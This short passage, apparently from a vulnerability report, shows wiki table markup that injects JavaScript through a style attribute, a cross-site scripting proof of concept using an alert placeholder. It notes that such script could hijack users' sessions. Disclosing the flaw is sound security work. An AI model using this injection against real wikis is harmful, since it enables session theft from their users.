Here is an example from the wiki markup, showing how to exploit this issue: {table-plus:columnTypes=S,-,.|autoNumber=true|sortColumn=3 |columnAttributes=,,style="background:'+alert('arbitrary javascript here')+'; font-size:14pt;"} || Name || Phone || TCP || | John | 555-1234 | 192.168.1.10 | | Mary | 555-2134 | 192.168.1.12 | | Bob | 555-4527 | 192.168.1.9 |{table-plus} Any javascript could be entered in the markup that could hijack a user's session.